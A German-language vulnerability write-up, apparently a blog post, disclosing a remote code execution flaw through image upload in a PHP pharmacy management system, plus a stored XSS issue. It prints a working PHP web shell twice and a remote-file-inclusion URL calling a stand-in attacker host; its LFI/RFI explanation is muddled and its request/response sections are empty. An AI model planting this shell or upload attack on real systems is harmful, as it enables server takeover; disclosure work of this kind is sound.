
Diese Anwendung wurde von Mayurik erstellt. Das Projekt eines Pharmacy-Management-Systems in PHP wurde entwickelt, um die Genauigkeit und Effizienz von Apotheken durch Sicherheit und Verwaltung zu verbessern. Kurz gesagt handelt es sich um eine Produktbestandsanwendung.
Es wurde festgestellt, dass Pharmacy Management System v1.0 eine Schwachstelle zur Remote-Codeausführung (RCE) über die Komponente "/php_action/editProductImage.php" enthält. Diese Schwachstelle ermöglicht es Angreifern, über eine präparierte Bilddatei beliebigen Code auszuführen.
Datei-Upload-Schwachstellen sind in der Regel eine Schwachstelle, die es einem Skript ermöglicht, ausgeführt zu werden. Sie funktioniert, wenn wir die Datei auf den Server hochladen und einen Befehl auf der hochgeladenen Datei eingeben. Datei-Upload-Schwachstellen werden in zwei Typen unterteilt;
Diese Schwachstelle tritt auf, wenn die lokalen Dateien auf dem Server die vom Benutzer abgerufene Datei einbinden. Die vom Benutzer empfangenen Werte müssen sterilisiert werden.
Beispiel für LFI (Local File Inclusion) ;
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
Diese Schwachstelle funktioniert, wenn der Angreifer Malware von einem entfernten Server hochlädt.
Beispiel für RFI (Remote File Inclusion) ;
"www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page"

Beispiel für ein PHP-Shell-Skript;
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
Anfrage;

Antwort;

Anfrage;

Antwort;


Diese Schwachstelle ist in der Anwendung immer noch aktiv.
Auf derselben Seite, nämlich "editproduct.php", habe ich gespeichertes XSS gefunden.
$sql = "UPDATE product SET product_name = '$productName'"
In diesem Codeblock können Sie mit doppelten Anführungszeichen (") aus dem Kontext ausbrechen.



Ich hoffe, ich konnte erklären, wie eine File-Inclusion-Schwachstelle funktioniert, welche Situation diese Schwachstelle auslöst und wie man diesen Angriff durch Angreifer verhindert. Vielen Dank für Ihre wertvolle Zeit.